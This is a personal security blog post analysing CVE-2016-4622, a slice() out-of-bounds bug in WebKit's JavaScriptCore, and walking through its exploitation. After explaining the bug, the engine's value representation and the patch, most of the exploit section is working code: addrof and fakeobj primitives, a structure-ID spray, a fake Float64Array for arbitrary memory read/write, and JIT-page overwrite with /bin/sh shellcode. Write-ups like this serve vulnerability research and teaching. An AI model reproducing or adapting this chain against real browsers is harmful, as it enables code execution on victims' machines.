Notes on CVE-2016-4622

Bug Analysis

The vulnerability is present in the implementation of ArrayProtoSlice.

first, let us see what is slice method and how it works.

The slice() method returns a shallow copy of a portion of an array into a new array object selected from start to end (end not included) where start and end represent the index of items in that array. The original array will not be modified.

>>> var array = ['a','b','c','d']
undefined
>>> array.slice(1,4)
b,c,d

Now let us take a look at the implementation (slightly commented) of ArrayProtoSlice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    ASSERT(!!scope.exception() == !thisObj);
    if (UNLIKELY(!thisObj))
        return { };
    unsigned length = toLength(exec, thisObj); // Get the length of the array
    RETURN_IF_EXCEPTION(scope, { });

    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length); // Get the start index for slicing the array.
    RETURN_IF_EXCEPTION(scope, { });
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length); // Get the end index for slicing the array.
    RETURN_IF_EXCEPTION(scope, { });
    if (end < begin)    // Ensure end index is greater than or equal to the begin index
        end = begin;

    std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
    // We can only get an exception if we call some user function.
    ASSERT(!!scope.exception() == (speciesResult.first == SpeciesConstructResult::Exception));
    if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
        return { };

    // Check if the result object is an array object, to take fast path.
    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj);
    RETURN_IF_EXCEPTION(scope, { });
    if (LIKELY(okToDoFastPath)) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // Create a new result object using the species constructor
    JSObject* result;
    if (speciesResult.first == SpeciesConstructResult::CreatedObject)
        result = speciesResult.second;
    else {
        result = constructEmptyArray(exec, nullptr, end - begin);
        RETURN_IF_EXCEPTION(scope, { });
    }
    // Copy the elements from the original array object to the result object
    unsigned n = 0;
    for (unsigned k = begin; k < end; k++, n++) {
        JSValue v = getProperty(exec, thisObj, k);
        RETURN_IF_EXCEPTION(scope, { });
        if (v) {
            result->putDirectIndex(exec, n, v, 0, PutDirectIndexShouldThrow);
            RETURN_IF_EXCEPTION(scope, { });
        }
    }
    scope.release();
    setLength(exec, vm, result, n);
    return JSValue::encode(result);
}

Simply put, the above code gets the length of the array and converts the args into native integers to get start and end values. Then performs slicing. The slicing is done in two ways:

  • FastSlice: Uses memcpy to copy the elements into a new array.
  • Slow path: Loops and copies each element individually to the new array.

In the implementation of ArrayProtoSlice, the values are converted to native integers by argumentClampedIndexFromStartOrEnd().

    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    double indexDouble = value.toInteger(exec);
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
>>> a = ['1','2','3','4','5']
[1,2,3,4,5]
>>> a.slice(1,3)
[2,3]

Here we can see that even if the parameters are strings, they are converted to native integers.

According to the conversion rules, if an object has a callable property valueOf, it will be called and the return value will be used if it is a primitive value. So, if we change the length using valueof function in one of the parameters, .slice still uses the old length value, So memcpy will now result in out-of-bound access.

Now let us see what this looks like in action.

var a = [];
for (var i = 0; i < 100; i++) a.push(i + 1.23);
var b = a.slice(0, {
  valueOf: function () {
    a.length = 0;
    b = [{}, 1.23];
    return 5;
  },
});
print(b);

The expected output should be an array with undefined values. But…

spektre@skream:~/webkit$ ./WebKitBuild/Debug/bin/jsc poc.js
1.23,2.23,1.5488838078e-314,6.365987374e-314,6.94548287109343e-310

Here we abused the JS Type Conversions while calculating the ‘begin’ and ’end’ variables during the fast path. During the conversion, valueOf method is executed, the length is set to 0, and the ArrayProtoSlice still uses the old length value which resulted in an Out-Of-Bounds read We can also use this not only to leak values but also to inject values as well.

Now let us take a look at the commit(650552a) where this bug was patched.

diff --git a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
index cfdd7fceb7f47..08a6ec991afef 100644
--- a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -863,7 +863,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
     if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
         return JSValue::encode(jsUndefined());
 
-    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
+    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == getLength(exec, thisObj))) {
         if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
             return JSValue::encode(result);
     }

Here the patch adds an additional check for the length of the source array before calling fastSlice.

Before we get into details of the exploit, Here are a few things you need to know that might help you understand the exploit better.

NaN Boxing and JS Values

In JSC, The least significant values are used to indicate which type of value it is. This is clearly defined in JSValue.h

     * The encoding makes use of unused NaN space in the IEEE754 representation.  Any value
     * with the top 13 bits set represents a QNaN (with the sign bit set).  QNaN values
     * can encode a 51-bit payload.  Hardware produced and C-library payloads typically
     * have a payload of zero.  We assume that non-zero payloads are available to encode
     * pointer and integer values.  Since any 64-bit bit pattern where the top 15 bits are
     * all set represents a NaN with a non-zero payload, we can use this space in the NaN
     * ranges to encode other values (however there are also other ranges of NaN space that
     * could have been selected).
     *
     * This range of NaN space is represented by 64-bit numbers beginning with the 15-bit
     * hex patterns 0xFFFC and 0xFFFE - we rely on the fact that no valid double-precision
     * numbers will fall in these ranges.
     *
     * The top 15-bits denote the type of the encoded JSValue:
     *
     *     Pointer {  0000:PPPP:PPPP:PPPP
     *              / 0002:****:****:****
     *     Double  {         ...
     *              \ FFFC:****:****:****
     *     Integer {  FFFE:0000:IIII:IIII
     *
     * The scheme we have implemented encodes double precision values by performing a
     * 64-bit integer addition of the value 2^49 to the number. After this manipulation
     * no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFE.
     * Values must be decoded by reversing this operation before subsequent floating point
     * operations may be peformed.
     *
     * 32-bit signed integers are marked with the 16-bit tag 0xFFFE.
     *
     * The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,
     * null and undefined values are represented by specific, invalid pointer values:
     *
     *     False:     0x06
     *     True:      0x07
     *     Undefined: 0x0a
     *     Null:      0x02

Consider this example. We create an array with an Integer, a double, a string, a bool, and an object.

a = [0xdeadbeef,0.1337,"abcd",true,{}]
>>> describe(a)
Object: 0x7fffadfc4430 with butterfly 0x7fffaddd8288 (0x7fffadff3360:[Array, {}, ArrayWithContiguous, Proto:0x7fffadfd0120]), ID: 87

and this is how the values look in memory

pwndbg> x/16gx 0x7fffaddd8288
0x7fffaddd8288: 0x41ecd5b7dde00000      0x3fc21d14e3bcd35b
0x7fffaddd8298: 0x00007fffa74ef940      0x0000000000000007
0x7fffaddd82a8: 0x00007fffadffc360      0x00000000badbeef0

JSObject

An object in JS is a collection of Key-Value pairs, which are called properties.

consider this example.

x = {'a':1,'b':0.1337,'c':"lol",'d':true,'e':[1,2,3,4]}

we can use describe() to get info about the object.

>>> describe(x)
Object: 0x7fffadffc1a0 with butterfly (nil) (0x7fffadf9ea30:[Object, {a:0, b:1, c:2, d:3, e:4}, NonArray, Proto:0x7fffadfc40a0, Leaf]), ID: 280

This is how the object looks in memory.

pwndbg> x/16gx 0x7fffadffc1a0
0x7fffadffc1a0: 0x0100180000000118      0x0000000000000000
0x7fffadffc1b0: 0xffff000000000001      0x3fc21d14e3bcd35b
0x7fffadffc1c0: 0x00007fffadf94300      0x0000000000000007
0x7fffadffc1d0: 0x00007fffadfc4320      0x0000000000000000

Structure of a JSObject:

--------------------
    StructureID        32 bits
--------------------   
    Header Bits        32 bits
--------------------
    Butterfly          64 bits
--------------------
    Inline Properties  n*64 bits
--------------------

Butterfly

Butterfly consists of elements of the array and out-of-line properties. It’s called a butterfly because this points to the middle of the structure. The elements are at +ve offsets from the Butterfly pointer and out-of-line properties are at -ve offsets.

>>> a = [0xdeadbeef,0.1337,"abcd",true,{}]
3735928559,0.1337,abcd,true,[object Object]
>>> describe(a)
Object: 0x7fffadfc4340 with butterfly 0x7fffadde4108 (0x7fffadff3360:[Array, {}, ArrayWithContiguous, Proto:0x7fffadfd0120]), ID: 87

Here is how a butterfly is represented in memory:

pwndbg> x/16gx 0x7fffadde4108
0x7fffadde4108: 0x41ecd5b7dde00000      0x3fc21d14e3bcd35b
0x7fffadde4118: 0x00007fffadf94360      0x0000000000000007
0x7fffadde4128: 0x00007fffadffc1e0      0x00000000badbeef0
0x7fffadde4138: 0x00000000badbeef0      0x00000000badbeef0

Exploit Strategy

  • First, we start with writing our exploit primitives addrof and fakeobj.

  • For addrof, We make use of an array of doubles, which will have its indexing type as ArrayWithDoubles. and use the valueof function to shrink the array, allocate an array with the object, and return a size larger than the array size which will access the object. slice preserves the indexing type, and the data we access is treated as native doubles which gives us JSValue leak which is in the form of 64bit Floating point value. fakeobj follows a similar approach but the other way around.

  • addrof primitive

function addrof(object) {
  var a = [];
  for (var i = 0; i < 100; i++) a.push(i + 0.123);
  var b = a.slice(0, {
    valueOf: function () {
      a.length = 0;
      b = [object];
      return 5;
    },
  });
  return Int64.fromDouble(b[4]);
}
  • fakeobj primitive
  function fakeobj(addr) {
    var a = [];
    for (var i = 0; i < 100; i++) a.push({});
    var b = a.slice(0, {
      valueOf: function () {
        a.length = 0;
        b = [addr.asDouble()];
        return 5;
      },
    });
    return b[4];
  } ```
  • Now we will aim to achieve arb read/write, we achieve this using a fake Float64Array Instance.

Why Float64Array? Typed Arrays store raw binary data, we can get arbitrary read/write if we control the data pointer.

Ok, Before we proceed further, To fake an object, We need a valid JSCell header and JS StructureID which is not static. In this case, We can predict a valid structure id by spraying a lot of objects and adding a different property each time which gives us a unique structure id.

  • We now spray a lot of Float64Array instances and guess the structure id. we can check if the guess is correct using instanceof.
  • After setting up the cell header of fake Float64Array, We make the vector ptr ( pointer to the backing memory ) of the fake object point to another array, which gives us arb read/write.
function spray() {
  for (var i = 0; i < 10000; i++) {
    var a = new Float64Array(1);
    elem = "aaa" + i;
    a[elem] = 0xdeadbeef;
  }
}
spray();

var temp = new Uint8Array(1000);

/* JS cell header for a Float64Array
 m_structureID
 m_indexingType
 m_type
 m_flags
 m_cellState
 */

var jsCellHeader = new Int64([
  0x0,0x10,0x0,0x0, 
  0x0, 
  0x2c, 
  0x08, 
  0x1, 
]);

var container = {
  jsCellHeader: jsCellHeader.asJSValue(),
  butterfly: false, // Can't use 0x0 here because of conversion to JSValue, so we use false
  vector: temp,
  lengthAndFlags: new Int64("0x0001000000000100").asJSValue(),
};
memory = {
  read: function (addr, length) {
    fakearray[2] = addr.asDouble();
    var res = new Array(length);
    for (var i = 0; i < length; i++) res[i] = temp[i];
    return res;
  },
  write: function (addr, data) {
    fakearray[2] = addr.asDouble();
    for (var i = 0; i < data.length; i++) temp[i] = data[i];
  },
  • The butterfly of the fake object is an invalid pointer, this causes a crash because of the garbage collector. we fix the fake object and the container to avoid a crash.
var empty = {};
var header = memory.read(addrof(empty), 8);
memory.write(addrof(container), header);

var arr = new Float64Array(8);
header = memory.read(addrof(arr), 16);
var length = memory.read(Add(addrof(arr), 24), 8);
memory.write(addrof(fakearray), header);
memory.write(Add(addrof(fakearray), 24), length);
fakearray.container = container;
  • We now create a JITed region that has RWX permissions, and get the address of that region using the primitives.
function jit_funx() {
  function target(x) {
    return x;
  }
  for (var i = 0; i < 1000; i++) {
    target(i);
  }
  return target;
}


// 
var pwn = jit_funx();

var pwn_addr = addrof(pwn);
var rwx_addr = memory.read64(Add(pwn_addr, 24));
var jitCodeAddr = memory.read64(Add(rwx_addr, 24));
var shellcode = [
  0x48, 0x31, 0xc0, 0x50, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73,
  0x68, 0x57, 0x48, 0x89, 0xe7, 0x50, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6,
  0xb0, 0x3b, 0x0f, 0x05,
];
  • Using the leak, write the shellcode to that address and then call the function.
var code = memory.read64(Add(jitCodeAddr, 32));
memory.write(code, shellcode);
pwn();
  • This will execute the shellcode and pop a shell.

Here is the link for the exploit script.

© 2025 spektre. All rights reserved.
Built with Hugo
Theme Stack designed by Jimmy